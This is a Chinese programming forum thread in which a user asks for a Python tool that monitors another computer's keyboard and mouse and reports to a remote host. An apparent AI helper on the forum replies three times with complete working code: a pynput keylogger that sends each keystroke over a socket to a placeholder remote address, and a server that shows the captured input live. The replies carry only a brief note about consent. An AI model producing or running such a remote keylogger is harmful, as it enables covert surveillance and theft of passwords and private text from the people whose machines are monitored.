鱼C论坛

 找回密码
 立即注册
查看: 487|回复: 6

[已解决]键盘监控

[复制链接]
发表于 2024-9-27 12:15:27 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
具体要求:对被监控系统的键盘操作可进行实时的监控,将监视结果发回远程主机进行查看。用python完成
A、 对被监控主机的键盘及鼠标操作进行监控和记录;
B、 可通过网络接口将监控的结果发回到远程主机;
C、 将收到的结果进行有效的实时显示。
最佳答案
2024-9-27 12:15:41
实现这一需求需要使用Python中的一些特定库,并确保遵守相关的法律和道德规范。以下是一个基本的实现思路:

### 1. 监控键盘和鼠标
我们可以使用`pynput`库来捕获键盘和鼠标事件。你可以使用以下命令安装这个库:
  1. pip install pynput
复制代码


下面是一个简单的脚本来记录键盘和鼠标事件:

  1. from pynput import keyboard, mouse
  2. import socket

  3. # 键盘
  4. def on_press(key):
  5.     try:
  6.         print(f'Alphanumeric key pressed: {key.char}')
  7.         send_data(f'Key pressed: {key.char}')
  8.     except AttributeError:
  9.         print(f'Special key pressed: {key}')
  10.         send_data(f'Special key pressed: {key}')

  11. def on_release(key):
  12.     if key == keyboard.Key.esc:
  13.         return False

  14. # 鼠标
  15. def on_click(x, y, button, pressed):
  16.     if pressed:
  17.         print(f'Mouse clicked at ({x}, {y}) with {button}')
  18.         send_data(f'Mouse clicked at ({x}, {y}) with {button}')

  19. # 网络传输
  20. def send_data(data):
  21.     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  22.         s.connect(('远程主机IP', 端口号))
  23.         s.sendall(data.encode('utf-8'))

  24. # 启动录制
  25. keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release)
  26. mouse_listener = mouse.Listener(on_click=on_click)

  27. keyboard_listener.start()
  28. mouse_listener.start()

  29. keyboard_listener.join()
  30. mouse_listener.join()
复制代码


### 2. 网络传输
使用Python的`socket`库将捕获的数据发送到远程主机。在上面的示例代码中,`send_data`函数负责将数据通过网络发送。

### 3. 远程主机的接收与显示
在远程主机上,需要一个服务器来接收并显示这些数据。可以使用如下代码:

  1. import socket

  2. def start_server():
  3.     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  4.         s.bind(('远程主机IP', 端口号))
  5.         s.listen()
  6.         print('Server is listening...')
  7.         conn, addr = s.accept()
  8.         with conn:
  9.             print(f'Connected by {addr}')
  10.             while True:
  11.                 data = conn.recv(1024)
  12.                 if not data:
  13.                     break
  14.                 print(data.decode('utf-8'))

  15. if __name__ == "__main__":
  16.     start_server()
复制代码


### 注意事项
1. **法务合规**:在实施键盘监控时,一定要确保合法合规,取得被监控者的许可。这一类操作未经授权是非法的。
2. **性能与安全**:网络传输和实时显示部分需要考虑性能影响和数据安全。

修改示例代码中的`'远程主机IP'`和`端口号`为实际的IP和端口,以确保正确连接。

这只是一个基本结构,具体实现时可能需要更多的优化和补充。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2024-9-27 12:15:41 | 显示全部楼层    本楼为最佳答案   
实现这一需求需要使用Python中的一些特定库,并确保遵守相关的法律和道德规范。以下是一个基本的实现思路:

### 1. 监控键盘和鼠标
我们可以使用`pynput`库来捕获键盘和鼠标事件。你可以使用以下命令安装这个库:
  1. pip install pynput
复制代码


下面是一个简单的脚本来记录键盘和鼠标事件:

  1. from pynput import keyboard, mouse
  2. import socket

  3. # 键盘
  4. def on_press(key):
  5.     try:
  6.         print(f'Alphanumeric key pressed: {key.char}')
  7.         send_data(f'Key pressed: {key.char}')
  8.     except AttributeError:
  9.         print(f'Special key pressed: {key}')
  10.         send_data(f'Special key pressed: {key}')

  11. def on_release(key):
  12.     if key == keyboard.Key.esc:
  13.         return False

  14. # 鼠标
  15. def on_click(x, y, button, pressed):
  16.     if pressed:
  17.         print(f'Mouse clicked at ({x}, {y}) with {button}')
  18.         send_data(f'Mouse clicked at ({x}, {y}) with {button}')

  19. # 网络传输
  20. def send_data(data):
  21.     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  22.         s.connect(('远程主机IP', 端口号))
  23.         s.sendall(data.encode('utf-8'))

  24. # 启动录制
  25. keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release)
  26. mouse_listener = mouse.Listener(on_click=on_click)

  27. keyboard_listener.start()
  28. mouse_listener.start()

  29. keyboard_listener.join()
  30. mouse_listener.join()
复制代码


### 2. 网络传输
使用Python的`socket`库将捕获的数据发送到远程主机。在上面的示例代码中,`send_data`函数负责将数据通过网络发送。

### 3. 远程主机的接收与显示
在远程主机上,需要一个服务器来接收并显示这些数据。可以使用如下代码:

  1. import socket

  2. def start_server():
  3.     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  4.         s.bind(('远程主机IP', 端口号))
  5.         s.listen()
  6.         print('Server is listening...')
  7.         conn, addr = s.accept()
  8.         with conn:
  9.             print(f'Connected by {addr}')
  10.             while True:
  11.                 data = conn.recv(1024)
  12.                 if not data:
  13.                     break
  14.                 print(data.decode('utf-8'))

  15. if __name__ == "__main__":
  16.     start_server()
复制代码


### 注意事项
1. **法务合规**:在实施键盘监控时,一定要确保合法合规,取得被监控者的许可。这一类操作未经授权是非法的。
2. **性能与安全**:网络传输和实时显示部分需要考虑性能影响和数据安全。

修改示例代码中的`'远程主机IP'`和`端口号`为实际的IP和端口,以确保正确连接。

这只是一个基本结构,具体实现时可能需要更多的优化和补充。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2024-9-27 16:31:33 | 显示全部楼层
远程控制主机有没有什么要求
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2024-9-29 09:13:48 | 显示全部楼层
FishC 发表于 2024-9-27 12:15
实现这一需求需要使用Python中的一些特定库,并确保遵守相关的法律和道德规范。以下是一个基本的实现思路: ...

远程主机接收时要求实时显示
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2024-9-29 09:21:26 | 显示全部楼层
FishC 发表于 2024-9-27 12:15
实现这一需求需要使用Python中的一些特定库,并确保遵守相关的法律和道德规范。以下是一个基本的实现思路: ...

远程主机接收时要求实时显示,第二个代码应该如何改动呢?
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2024-9-29 09:26:45 | 显示全部楼层
梦有所依丶 发表于 2024-09-29 09:21
远程主机接收时要求实时显示,第二个代码应该如何改动 ...


要实现远程主机实时接收和显示数据,可以采用一个简单的Socket服务器,直接在接收到数据后即时打印。这是一个更优化和详细的例子:

### 远程主机的接收与实时显示
  1. import socket

  2. def start_server():
  3.     host = '远程主机IP'  # 替换为实际的IP
  4.     port = 端口号         # 替换为实际的端口号

  5.     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  6.         s.bind((host, port))
  7.         s.listen()
  8.         print('Server is listening...')
  9.         
  10.         while True:
  11.             conn, addr = s.accept()
  12.             with conn:
  13.                 print(f'Connected by {addr}')
  14.                 while True:
  15.                     data = conn.recv(1024)
  16.                     if not data:
  17.                         break
  18.                     # 实时显示接收到的数据
  19.                     print(data.decode('utf-8'))

  20. if __name__ == "__main__":
  21.     start_server()
复制代码


这个服务器脚本在接收到数据后会立即打印,以实现实时显示。确保替换 `'远程主机IP'` 和 `端口号` 为实际的IP和端口。

### 完整流程
1. 在远程主机上运行上述服务器脚本。
2. 在被监控的机器上运行以下脚本来捕获键盘和鼠标事件,并通过网络发送:

  1. from pynput import keyboard, mouse
  2. import socket

  3. def on_press(key):
  4.     try:
  5.         send_data(f'Key pressed: {key.char}')
  6.     except AttributeError:
  7.         send_data(f'Special key pressed: {key}')

  8. def on_release(key):
  9.     if key == keyboard.Key.esc:
  10.         return False

  11. def on_click(x, y, button, pressed):
  12.     if pressed:
  13.         send_data(f'Mouse clicked at ({x}, {y}) with {button}')

  14. def send_data(data):
  15.     host = '远程主机IP'  # 替换为实际的IP
  16.     port = 端口号         # 替换为实际的端口号
  17.     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  18.         s.connect((host, port))
  19.         s.sendall(data.encode('utf-8'))

  20. keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release)
  21. mouse_listener = mouse.Listener(on_click=on_click)

  22. keyboard_listener.start()
  23. mouse_listener.start()

  24. keyboard_listener.join()
  25. mouse_listener.join()
复制代码


务必确保所有IP和端口配置正确,保证客户端能正确连接到服务器。

### 注意事项
- **网络延迟**:实时性受网络延迟影响,可以在实际应用中优化数据传输的效率。
- **稳定性**:这个示例没有实现复杂的错误处理和重连机制,实际应用中需要增加相关代码。
- **安全性**:在实际部署中需要确保数据传输的安全,例如使用加密传输等。

希望这个示例能够帮助你实现远程键盘与鼠标监控并实时显示结果。如果有更多需求,可能需要进一步优化和扩展代码。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2024-9-29 09:30:42 | 显示全部楼层
梦有所依丶 发表于 2024-09-29 09:13
远程主机接收时要求实时显示


好的,实时显示是指在接收到数据的同时立即输出。我们可以在服务器端实现一个持续监听的功能。下面是一个完整的示例:

### 客户端(监控端)

这是放在被监控主机上的代码,用于捕获键盘和鼠标事件,并通过网络发送到远程服务器:

  1. from pynput import keyboard, mouse
  2. import socket

  3. # 远程服务器的IP地址和端口
  4. REMOTE_HOST = '远程主机IP'
  5. REMOTE_PORT = 端口号

  6. # 键盘事件处理函数
  7. def on_press(key):
  8.     try:
  9.         send_data(f'Key pressed: {key.char}')
  10.     except AttributeError:
  11.         send_data(f'Special key pressed: {key}')

  12. def on_release(key):
  13.     if key == keyboard.Key.esc:
  14.         return False

  15. # 鼠标事件处理函数
  16. def on_click(x, y, button, pressed):
  17.     if pressed:
  18.         send_data(f'Mouse clicked at ({x}, {y}) with {button}')

  19. # 发送数据到远程服务器
  20. def send_data(data):
  21.     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  22.         s.connect((REMOTE_HOST, REMOTE_PORT))
  23.         s.sendall(data.encode('utf-8'))

  24. # 启动键盘和鼠标监听
  25. keyboard_listener = keyboard.Listener(on_press=on_press, on_release=on_release)
  26. mouse_listener = mouse.Listener(on_click=on_click)

  27. keyboard_listener.start()
  28. mouse_listener.start()

  29. # 保持主线程运行
  30. keyboard_listener.join()
  31. mouse_listener.join()
复制代码


### 服务器端(接收端)

这是在远程主机上运行的服务器代码,用于接收并实时显示从客户端发送过来的数据:

  1. import socket

  2. def start_server():
  3.     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  4.         s.bind(('远程主机IP', 端口号))
  5.         s.listen()
  6.         print('Server is listening...')
  7.         while True:
  8.             conn, addr = s.accept()
  9.             with conn:
  10.                 print(f'Connected by {addr}')
  11.                 while True:
  12.                     data = conn.recv(1024)
  13.                     if not data:
  14.                         break
  15.                     print(data.decode('utf-8'))

  16. if __name__ == "__main__":
  17.     start_server()
复制代码


### 注意事项

1. **网络配置**:确保远程主机的IP和端口可达,并且防火墙允许相关流量。
2. **合规与安全**:确保所有操作均得到合法授权,并对数据进行保护以防止敏感信息泄露。
3. **优化与扩展**:实际应用时可能需要对代码进行优化,处理潜在的异常和错误。

把上面的代码中`'远程主机IP'`和`端口号`替换为实际的IP和端口,然后分别在监控端和接收端运行即可实现实时显示。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-4-22 01:59

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表